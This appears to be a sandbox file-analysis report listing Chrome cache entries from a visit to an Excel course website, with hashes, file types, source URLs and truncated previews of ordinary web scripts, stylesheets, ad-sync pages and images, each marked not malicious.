Preview:	.PNG........IHDR.............>..d....PLTE...Tl.at.Xj.\p.bu.at.at.at._q.\p.]p.`s.at.at.^s.at.at._r.at.at.at.`t.at.`s.at.at.at.au.at.at.`s.at._r.at.as._r.at.at.at.as.`s.`t.at.at...t...-tRNS.......'..A.."]}-.v.G.;.b..K.6.q1l.gWOT.........IDATx...z.(......[......{.t:./]vO2=3..%w..(._..f.i...ZX..........Z.............<tL.!d8{../...ZF...F.H..#.Q)e.y...d........k....6...vO{...oN;f....S..XT.=6.K...?0.N,1..j..S..U..g.T.../..Y. V........x..h..6.(~.&...k...K...a."......g4}...b..*=a.A.B..x./Xn.C$K..D..........v.0....,EAd.#uF...W.1@.~.T.=_0...1MgJ..:\G......h.J..t....)...H....C../.l.[....NpY,..7..,..n...........y.....i`..m..o+.l..Lp...hd....u...j.....sV.k.u......6.d.j..c.]\|..X..1 ......\O....h=JnC=..P^..8.e.....}.....>h....}......:$..~~._7p..mk6.L........%2..//....Q.xi..}0.W..h...;...s.tsk.."....-...n....2M..#..\............5..$\,.UP.1.d.....".....>.U2\.Q.$.v..x.Y...ZPxi........0..A..Hu.....(z.j.S..I..........o....NS..q..U......>..Ao.f..2.i.eQB.n....,..

Chrome Cache Entry: 788

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (23432)
Category:	downloaded
Size (bytes):	23433
Entropy (8bit):	4.988691933097723
Encrypted:	false
SSDEEP:	384:uifv9o67LRIHsTZQu07f087x7iY3bVyYQPDcdd8HyxlYOgjYYuXCy90fY6wEvyMa:pv9o2LRysTZQugf087x7iY3JyhPgdV/n
MD5:	63FAD256B41B5D84BC1E86461A96A318
SHA1:	20D44C76509B9FB61A6E005112D60A1F3B73B8EC
SHA-256:	A69C12CCD186A899DB79FCE802B46C08E71F69C2C422BE2666ED8565E3ADD026
SHA-512:	09BBD78798D0A62B0020A3C97A2E1E34970806003BFBE8F6DDBBDAA248C10A4E947BF58D93F1FB468A7F820D1BA6F83E85A561E740277555F8AEBA356A6D6C72
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/q2w3-fixed-widget/js/frontend.min.js
Preview:	"use strict";var extendStatics=function(d,b){return extendStatics=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(d,b){d.__proto__=b}\|\|function(d,b){for(var p in b)Object.prototype.hasOwnProperty.call(b,p)&&(d[p]=b[p])},extendStatics(d,b)};function __extends(d,b){if("function"!=typeof b&&null!==b)throw new TypeError("Class extends value "+String(b)+" is not a constructor or null");function __(){this.constructor=d}extendStatics(d,b),d.prototype=null===b?Object.create(b):(__.prototype=b.prototype,new __)}var __assign=function(){return __assign=Object.assign\|\|function(t){for(var s,i=1,n=arguments.length;i<n;i++)for(var p in s=arguments[i])Object.prototype.hasOwnProperty.call(s,p)&&(t[p]=s[p]);return t},__assign.apply(this,arguments)},reactive=function(getter,interval){void 0===interval&&(interval=300);var subs=[],v=getter(),interval_id=setInterval((function(){if(0===subs.length)return;var new_v=getter();if(v===new_v\|\|"object"==typeof v&&JSON.stringify(v)===JSON.stringify(n

Chrome Cache Entry: 789

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2020)
Category:	downloaded
Size (bytes):	12817
Entropy (8bit):	5.34459161517544
Encrypted:	false
SSDEEP:	192:Gq6KPV24ZKs86O/DfVcOfFmI46coWCTGdhFKdbsWkzY:GkxI603wI46xWSGdhUr
MD5:	1D3D22DF067F5219073F9C0FABB74FDD
SHA1:	D5C226022639323D93946DF3571404116041E588
SHA-256:	55A119C0394F901A8A297E109C17B5E5402689708B999AB10691C16179F32A4A
SHA-512:	0B6B13B576E8CC05BD85B275631879875A5DBCB70FD78E6C93B259317ED6FD5D886F37D0CC6E099C3D3A8B66FEA2A4C2C631EB5548C1AB2CD7CB5FA4D41EA769
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/sodar/sodar2/225/runner.html
Preview:	<!DOCTYPE html>.<meta charset=utf-8><script>.(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.'use strict';function m(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var p="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,d){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=d.value;return a};.function aa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var d=a[b];if(d&&d.Math==Math)return d}throw Error("Cannot find global object");}var r=aa(this),u="function"===typeof Symbol&&"symbol"===typeof Symbol("x"),v={},w={};function x(a,b){var d=w[b];if(null==d)return a[b];d=a[d];return void 0!==d?d:a[b]}.function y(a,b,d){if(b)a:{var e=a.split(".");a=1===e.length;var g=e[0],k;!a&&g in v?k=v:k=r;for(g=0;g<e.length-1;g++){var c=e[g];if(!(c in k))break a;k=k[c]}e=e[

Chrome Cache Entry: 790

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (58981)
Category:	downloaded
Size (bytes):	59016
Entropy (8bit):	6.036924444025019
Encrypted:	false
SSDEEP:	768:oey/Z24B3P3aXOhUzSv16CAyLquqSfurIdUMbs73KO08QSJ2BQH02CRqxMWs5rJq:ox/ZvB/qPWMiquqioMUXQSJYIMW+rJq
MD5:	D68D6BF519169D86E155BAD0BED833F8
SHA1:	27BA9C67D0E775FC4E6DD62011DAF4C3902698FC
SHA-256:	C21E5A2B32C47BC5F9D9EFC97BC0E29FD081946D1D3EBFFC5621CFAFB1D3960E
SHA-512:	FD0956D1A7165E61348FDA53D859493A094D5A669AA0BA648BE3381B02ED170EFD776704AF6965F1E31143F510172EE941D4F2FC32C4751D9B8763B66301486D
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/css/dashicons.min.css
Preview:	/! This file is auto-generated /.@font-face{font-family:dashicons;src:url("../fonts/dashicons.eot?99ac726223c749443b642ce33df8b800");src:url("../fonts/dashicons.eot?99ac726223c749443b642ce33df8b800#iefix") format("embedded-opentype"),url("data:application/x-font-woff;charset=utf-8;base64,d09GRgABAAAAAHvwAAsAAAAA3EgAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABHU1VCAAABCAAAADMAAABCsP6z7U9TLzIAAAE8AAAAQAAAAFZAuk8lY21hcAAAAXwAAAk/AAAU9l+BPsxnbHlmAAAKvAAAYwIAAKlAcWTMRWhlYWQAAG3AAAAALwAAADYXkmaRaGhlYQAAbfAAAAAfAAAAJAQ3A0hobXR4AABuEAAAACUAAAVQpgT/9mxvY2EAAG44AAACqgAAAqps5EEYbWF4cAAAcOQAAAAfAAAAIAJvAKBuYW1lAABxBAAAATAAAAIiwytf8nBvc3QAAHI0AAAJvAAAEhojMlz2eJxjYGRgYOBikGPQYWB0cfMJYeBgYGGAAJAMY05meiJQDMoDyrGAaQ4gZoOIAgCKIwNPAHicY2Bk/Mc4gYGVgYOBhzGNgYHBHUp/ZZBkaGFgYGJgZWbACgLSXFMYHD4yfHVnAnH1mBgZGIE0CDMAAI/zCGl4nN3Y93/eVRnG8c/9JE2bstLdQIF0N8x0t8w0pSMt0BZKS5ml7F32lrL3hlKmCxEQtzjAhQMRRcEJijhQQWV4vgNBGV4nl3+B/mbTd8+reeVJvuc859znvgL0A5pkO2nW3xcJ8qee02ej7/NNDOz7fHPTw/r/LnTo60ale4ooWov2orOYXXQXPWVr2V52lrPL3qq3Wlmtq

Chrome Cache Entry: 791

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (59946), with LF, NEL line terminators
Category:	downloaded
Size (bytes):	156833
Entropy (8bit):	5.197045903820081
Encrypted:	false
SSDEEP:	1536:QEbSn00lbOatWbVhvZJbkyBBHhEhraD7U0mUiqlUlyYqfqNbx483qYjQmbyeqItl:N2oZK9P+i9RnDG6eHQ6U3
MD5:	A8FA2DC6DA9C7F2D5ACCD1EEEA968957
SHA1:	A92EB02CC0D7DA44522A2E2FBBA04DE63624FC8B
SHA-256:	3C3EF9998414972B985076A5202E016AD4A71F9052EB1DA62BE10ED8F2752CC7
SHA-512:	B45B00EB35C5BAB7FEDA77301322C049E1C92BB4D2DA282838E1F54339CAF8E0C81A40633AD4A2E7BF6768CB9DE220292AC4E06BFD909E0A1FC368870483DA7A
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/elementor-pro/assets/js/preloaded-elements-handlers.min.js
Preview:	/! elementor-pro - v3.2.2 - 05-05-2021 /.(self.webpackChunkelementor_pro=self.webpackChunkelementor_pro\|\|[]).push([[995,26,534,369,804,680,121,288,42,50,287,824,58,114,443,838,685,858,102],{2937:(e,t,n)=>{e.exports=n(7841)},3774:(e,t,n)=>{e.exports=n(5966)},5315:(e,t,n)=>{e.exports=n(9406)},4176:(e,t,n)=>{e.exports=n(4969)},3220:(e,t,n)=>{e.exports=n(9485)},9117:(e,t,n)=>{var i=n(3220);function asyncGeneratorStep(e,t,n,r,a,s,o){try{var l=e[s](o),u=l.value}catch(e){return void n(e)}l.done?t(u):i.resolve(u).then(r,a)}e.exports=function _asyncToGenerator(e){return function(){var t=this,n=arguments;return new i((function(i,r){var a=e.apply(t,n);function _next(e){asyncGeneratorStep(a,i,r,_next,_throw,"next",e)}function _throw(e){asyncGeneratorStep(a,i,r,_next,_throw,"throw",e)}_next(void 0)}))}}},4899:(e,t,n)=>{var i=n(7394),r=n(2937),a=n(3774),s=n(3587),o=n(5315),l=n(3452),u=n(8042);function ownKeys(e,t){var n=l(e);if(o){var i=o(e);t&&(i=i.filter((function(t){return s(e,t).enumerable})))

Chrome Cache Entry: 792

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (453), with no line terminators
Category:	downloaded
Size (bytes):	453
Entropy (8bit):	5.129807008387096
Encrypted:	false
SSDEEP:	12:9XcePce0eeQ91RxKDJ7yhTz3nLglmSnLMVljW5lv8enLxUf:9MLoAiTDLgl7LIjW5lv8uL6f
MD5:	67E1029DD6859241DE670441D43C31D5
SHA1:	F65A29D631B06E9FBD2BCFD4B8B039788127DF6C
SHA-256:	C6AC90CA36020B95161E6C8503B328194D0DA4059C5144917F3914129252B930
SHA-512:	56BF2E511675408D70829EA145155307F72EC38CD29DDD4B2113705B14AFE926F844A3FC300C28DC9D57E241DA45EFE407F0FB22D38910310810B2708534BEC0
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/thrive-ultimatum/js/dist/no-campaign.min.js?v=3.25
Preview:	(()=>{if(!window.ThriveGlobal\|\|!window.ThriveGlobal.$j){var a=window.$;window.ThriveGlobal={$j:jQuery.noConflict()},a&&(window.$=a)}var o;(o=ThriveGlobal.$j)((function(){var a={action:TVE_Ult_Data.conversion_events_action,post_id:TVE_Ult_Data.post_id};window.TVE_Dash&&!TVE_Dash.ajax_sent?o(document).on("tve-dash.load",(function(n){TVE_Dash.add_load_item("tu_conversion_events",a,o.noop)})):o.ajax({url:TVE_Ult_Data.ajaxurl,type:"post",data:a})}))})();

Chrome Cache Entry: 793

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	11597
Entropy (8bit):	4.868463636575705
Encrypted:	false
SSDEEP:	192:CdB1rktcyfhvtUcG2ZiLrhK3pxRW0oLUnRGSBDObrne1M+XN:Vtn/UcNZiLMw0ZR4XQl
MD5:	4FC0D780F0024CA740C4E7AEB4355C46
SHA1:	E370B6B2E66B665D4DB4E70FD2115FA616515FDE
SHA-256:	EFE28764AD95C8E4CC0CA5C1317A87C9AD79C3154F8F556AFD2F7F29E51E0C1A
SHA-512:	51698B9B861BA99E66C0559F950964352C9A6FB4E67792C4E28FBC05D87C087D2F929B9E6A14289E8C9FC18E7DF06228A44708B37BDA96DF20BF2A58D0C943BC
Malicious:	false
Reputation:	low
URL:	https://faves.grow.me/locales/en/translation.json
Preview:	{. "accept": "Accept",. "account": "Account",. "backToSearch": "Back to Search Results",. "backToWebsite": "Back to website",. "bookmarkImportCTALoggedIn": "View your Bookmarks",. "bookmarkImportCTALoggedOut": "Sign up for Free",. "bookmarkImportDescriptionLoggedIn": "Head to your Grow account to start saving your favorite content from {{siteName}}",. "bookmarkImportDescriptionLoggedOut": "Create a Grow account to keep your bookmarks from {{siteName}}",. "bookmarkImportDescriptionLoggedOutDeadline": "Create a Grow account by {{bookmarkImportDeadline}} to keep your bookmarks from {{siteName}}",. "bookmarkImportDescriptionPendingBookmarksDeadline": "Head to your Grow account by {{bookmarkImportDeadline}} to keep your bookmarks from {{siteName}}",. "bookmarkImportTitle": "{{siteName}} has moved to Grow",. "bookmarkPage": "Bookmark page",. "bookmarkSavedToast": {. "description": "Successfully added to <bookmarkLink>bookmarks</bookmarkLink>!". },. "bookmarks": "Bookmarks",

Chrome Cache Entry: 794

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	16317
Entropy (8bit):	6.016198541555842
Encrypted:	false
SSDEEP:	192:Dqb7zdSqZYQKlfSWfxMDE5ZJ5OMy+mTu4U0Q/o1lG1YUSoYRZL0sakS9jOSuQV:ubwqKlqWqI535ODh42gYUSoYRSsa/uQV
MD5:	8A370A684DE7A80D1538BE7539A30124
SHA1:	E2D58321A89511525CC0BD269CC3C99E9847E317
SHA-256:	52BAC96F555851AEE6D6D149848BD6A2EB7CAE89355864FEA11BF14E71B629BE
SHA-512:	ADD36D6C198DF8894E5222A96B497FC8E1F566EE3FF177D29E67F2E950D9ABB4715A49BF415DB9B5718F1A7532A4193A8026061BB6A736065A6DD7484DEE2340
Malicious:	false
Reputation:	low
Preview:	{"sodar_query_id":"7FUYZtaUNJOysgeUrZ3IBA","injector_basename":"sodar2","bg_hash_basename":"L0LConaBzCc577BZGNgzP3bg87fF5vhB9-a07M4Tw6o","bg_binary":"wwUfhCqEeuOn/8E92EiAHl2xj+1X2958+yoJ9Wb+83Im9u4obJgYVn1Xmjm8bggb8MwmzPAdS0glVLUwvfwfIeGc0CasVdcN3VJcZrGHJca2riBCPsITyxnzDW2d1NU9HEHNBZ34rmpy67U3slOUBWqm5IM9kiY05I45x8dLF11vSMW58ChUjv+MJbySIQcfes0tm4ELV5YpYYGORUK1KHL6HZNQCDjr17GWDfVdhzsSCIkov9tBGhYyaO9mBUe5iOhhrWx1zGVBLavDL/jd9xiEfANo46Id4dni2zUfqVmXXnC76DVXUmbmgBxqa0jFlPIE5Rc9Y2DvuKcjAFMbIzOYqNAZ0XqapXxVJgF4gq1stAOu6c075b2pSfqsKNrFAlTJZiZBHLlgNjlQ3FVOnsatVD37MKofXbjP9zls3BBb8SeAmo0Gl4oUTc+d16SWzyFhxDXwKKx1Ufoj3q1nG+wzdNiY0EWz9kE7WVuoi1pDfQrNYUPmg52EGdng8y9BoywqFv3H5hm+Y6TB1iBTVXRiqWRyQRkYnJm2aSS1Bz8maXEYMknIhYEvTAU5+C1TrPMQ+8a09uhH3t2BOUksKv7IsfjSRSYCOyMTfHY+WxD1iin+t31aub+o0qQ3nrDk6ACFx5stw11y8/cjxbRmMTszE2AB28A8EcveFhjdSbBzvUaxZrwb2ixu2h9fNVaHYVngMWtPg2HHm1m1H0lxb7SDdpnV2Oc8c/rKDxhxvx+WPbqQll9Nhtx40a+0lhXc3Nk0p9sFevph9O3gf8szYfOYjBHolBqYRIprJH5JXj5y+OReoW401VMNWzZgR5b7hcprg7hGbt8Gxv3hKU

Chrome Cache Entry: 795

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	25
Entropy (8bit):	3.4936606896881854
Encrypted:	false
SSDEEP:	3:Y9N/BbYn:Yz/yn
MD5:	D23899DC09A56ACA40F7B6D5A9E93B21
SHA1:	EC112489BF3A85AEE0F5126BDE129A9835477A12
SHA-256:	F57234B85737FD013FA80E3E8B995BC90F03792AFAB6476B1BEF5C6483FD1E9D
SHA-512:	4ADC5820FD3FB770489A6B8DBAE7622273A90AE7783EE90B67CA1146C800576EA428CFCBC06AAE6B44FD7AEF211DF4138D90B09EA7A6A5F2357710253064F905
Malicious:	false
Reputation:	low
URL:	https://sda.fyi/update?cats=
Preview:	{"2024-04-11":{"687":16}}

Chrome Cache Entry: 796

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14550), with no line terminators
Category:	downloaded
Size (bytes):	14550
Entropy (8bit):	5.4755359261160095
Encrypted:	false
SSDEEP:	384:3ygqjCYhwDJLBrsNEY9WEtYvkLkQ+46Vkql:DqjthqJLBrk9S0kmql
MD5:	A78330DF75037CEA4C2B811A6309223B
SHA1:	9C9A756A182AFD633D53D50CE367E59ADD078F83
SHA-256:	8414EF0DF7748EA8F41E191A48A9B0F85E68FE6D7F07DBBB1A53817BA11B5C14
SHA-512:	2B3AB0A54F6BEBD78C04774C3F676DAC48C5AFF4BA84C2792990878B39CA8B2DE16E85932987D4F65EEF58B322DB882C73DFC2B13DAFF309B1733C1C4A081060
Malicious:	false
Reputation:	low
URL:	https://faves.grow.me/867.7a869b20.chunk.js
Preview:	"use strict";(self.webpackChunk_mediavine_faves_ui=self.webpackChunk_mediavine_faves_ui\|\|[]).push([[867],{9248:(e,t,o)=>{o.r(t),o.d(t,{default:()=>te});var i,n,r,a,l,d,c,s,u,p=o(9080),g=o(2477),h=o(5544),m=o(9980),b=o(2220),f=o(6712),k=o(8512),y=o(1616),C=o(1232),_=o(1176),x=o(6424),w=o(5552),v=o(4568),M=o(912),S=o(4592),I=o(1580),B=o(9892),z=o(2136),H=o(5818),L=o(3040),P=o(9924),D=o(4472),W=o(6456),E=o(1272),O=o(9504),Y=o(2984),F=o(3852),N=o(9528),T=o(4388),G=o(676);const A=(0,g.gV)(i\|\|(i=(0,p.c)(["\n height: 20px;\n opacity: 0.5;\n\n :hover {\n opacity: 1;\n }\n"])));var R=(0,g.cp)(B.c).withConfig({displayName:"LockedPrintButtonModal___StyledMUICloseIcon",componentId:"sc-1dr6be0-0"})(["",""],(e=>e._css2)),V=(0,g.cp)(L.m2).withConfig({displayName:"LockedPrintButtonModal___StyledGrowLogoIcon",componentId:"sc-1dr6be0-1"})(["",""],A),q=(0,g.cp)(Y.on).withConfig({displayName:"LockedPrintButtonModal___StyledExternalLink",componentId:"sc-1dr6be0-2"})(["",""],(e=>e._css3));const U=e=>

Chrome Cache Entry: 797

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://pixel.tapad.com/idsync/ex/receive?partner_id=1830&partner_device_id=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&ttd_puid=f873d799-987f-45f5-8689-9e999756dca0%2C%2C
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 798

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 15, 16-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	295
Entropy (8bit):	6.975307958372994
Encrypted:	false
SSDEEP:	6:6v/lhPLOzLMMDaUMir+kRaAotDyhKmqcw4tGS3Q4wu4Dy+lbp:6v/7DTka4r+kRadA4cw3S3Q4n4Dr
MD5:	D848A2953307AA510BDAD31F5BF84671
SHA1:	E9D6D8DAA9255F99E4E778FF4C4B47806BDB18C1
SHA-256:	7FD59024B6CA83F11F7A3448EC148309A13B705725716DF134F699E60A96EB1B
SHA-512:	338B5E0E93084FE0BE5A46E437AD6E7E3CD600444B26A62CD2908C01409D739FFDCD8C3DF5C4C948BE59C93866B5DEF5C4759636F149377385BC59F7C7684B3D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............kFI.....IDAT8.c8.....f.t.W(.tv....-;.....?'..Y_:X..n.s..a....X.....e.I...4...S.E......,.>...3oh`1.<L.&g..9 -..a.9`.X.,=.G..a..,D.W..Tv......-..rq;.d.aA..bt}. ....Y.r\......1.Q...)..f ....q%:.-.....Z..u...o.>...,1...qZ.K..8...^..Z ..J...2..^.......IEND.B`.

Chrome Cache Entry: 799

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14814)
Category:	downloaded
Size (bytes):	14931
Entropy (8bit):	5.299294962230216
Encrypted:	false
SSDEEP:	384:rLJ8mveR3bwIcLxjqvzLezOc55uqV45mJJMzXREiQz3y5:i2Wbw3LwvzLezP55u55mnaCiQe5
MD5:	054C463035CE467C624688BDD38CCE4E
SHA1:	37288604949BA8DD5FB11FC3B35BE53835879D38
SHA-256:	5932F16F1332A5E98A6DD96DEB6D91583E3491CE4FECB3E04AC38D6AE402FB4A
SHA-512:	BFB3C29928261D7C8FA93349D95CE92AA20BDFA91D796C7C3447E66E6561DB425160321A03F310527144403C871E18B9D3085E76771A59669C89CC4F990D5DED
Malicious:	false
Reputation:	low
URL:	https://cdn.ampproject.org/rtv/022404020207000/v0/amp-ad-exit-0.1.mjs
Preview:	;.(self.AMP=self.AMP\|\|[]).push({m:1,v:"2404020207000",n:"amp-ad-exit",ev:"0.1",l:!0,f:function(t,n){(()=>{var n,{isArray:e}=Array,{hasOwnProperty:i,toString:r}=Object.prototype;function s(t){const n=Object.getOwnPropertyDescriptor(t,"message");if(null!=n&&n.writable)return t;const{message:e,stack:i}=t,r=new Error(e);for(const n in t)r[n]=t[n];return r.stack=i,r}function o(t){let n=null,e="";for(const t of arguments)t instanceof Error&&!n?n=s(t):(e&&(e+=" "),e+=t);return n?e&&(n.message=e+": "+n.message):n=new Error(e),n}function c(t){var n,e;null===(n=(e=self).__AMP_REPORT_ERROR)\|\|void 0===n\|\|n.call(e,t)}function u(t){return JSON.parse(t)}var l=/(?:^[#?]?\|&)([^=&]+)(?:=([^&]*))?/g;function a(t,n=""){try{return decodeURIComponent(t)}catch(t){return n}}function f(t){const{location:n}=t\|\|self;return function(t){const n=function(t){const n=Object.create(null);return n}();if(!t)return n;let e;for(;e=l.exec(t);){const t=a(e[1],e[1]),i=e[2]?a(e[2].replace(/\+/g," "),e[2]):"";n[t]=i}return n}(

Chrome Cache Entry: 800

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=157108&us_privacy=1---
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 801

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	13
Entropy (8bit):	2.7773627950641693
Encrypted:	false
SSDEEP:	3:qVZPV:qzd
MD5:	C83301425B2AD1D496473A5FF3D9ECCA
SHA1:	941EFB7368E46B27B937D34B07FC4D41DA01B002
SHA-256:	B633A587C652D02386C4F16F8C6F6AAB7352D97F16367C3C40576214372DD628
SHA-512:	83BAFE4C888008AFDD1B72C028C7F50DEE651CA9E7D8E1B332E0BF3AA1315884155A1458A304F6E5C5627E714BF5A855A8B8D7DB3F4EB2BB2789FE2F8F6A1D83
Malicious:	false
Reputation:	low
URL:	https://td.doubleclick.net/td/rul/416707819?random=1712870884079&cv=11&fst=1712870884079&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be44a0z8835174253za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fearnandexcel.com%2Fcourses%2Fpower-query%2F&ref=https%3A%2F%2Fearnandexcel.com%2Fcourse-category%2Fdata-analysis-bi%2F%3Ftutor-course-filter-category%3D16701&hn=www.googleadservices.com&frm=0&tiba=Online%20Microsoft%20Excel%20Power%20Query%20Course%20-%20Earn%20%26%20Excel&npa=0&pscdl=noapi&auid=67825169.1712870802&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1
Preview:	<html></html>

Chrome Cache Entry: 802

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30837)
Category:	downloaded
Size (bytes):	31000
Entropy (8bit):	4.746143404849733
Encrypted:	false
SSDEEP:	384:wHu5yWeTUKW+KlkJ5de2UYDyVfwYUas2l8yQ/8dwmaU8G:wwlr+Klk3Yi+fwYUf2l8yQ/e9vf
MD5:	269550530CC127B6AA5A35925A7DE6CE
SHA1:	512C7D79033E3028A9BE61B540CF1A6870C896F8
SHA-256:	799AEB25CC0373FDEE0E1B1DB7AD6C2F6A0E058DFADAA3379689F583213190BD
SHA-512:	49F4E24E55FA924FAA8AD7DEBE5FFB2E26D439E25696DF6B6F20E7F766B50EA58EC3DBD61B6305A1ACACD2C80E6E659ACCEE4140F885B9C9E71008E9001FBF4B
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css
Preview:	/!. Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome. * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License). */@font-face{font-family:'FontAwesome';src:url('../fonts/fontawesome-webfont.eot?v=4.7.0');src:url('../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'),url('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'),url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'),url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'),url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg');font-weight:normal;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.

Chrome Cache Entry: 803

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	40
Entropy (8bit):	4.246439344671015
Encrypted:	false
SSDEEP:	3:mSk4PrzbP1QiCRn:mSNrzbPahR
MD5:	4C43149513AEC0DF0BFDA81E31FC37D1
SHA1:	BC7D9FA43DB65E9CC397575B146C43048F403F03
SHA-256:	E3AD897926FAEAC0F9AFCE49CF410B03E1087A7D8F8428481A65B43F205601E1
SHA-512:	6B888E97A76E8B20746F12A5680B3F53DEEED14822FBEA998F2D2E7AFD2C222A1997814545D004748E6D7BD6E078EF1ACBDEC68F54B432CFCC2120969664088F
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSHgkIg8kGyEadpRIFDZAiE60SBQ3LAvZiEgUNxtrMuQ==?alt=proto
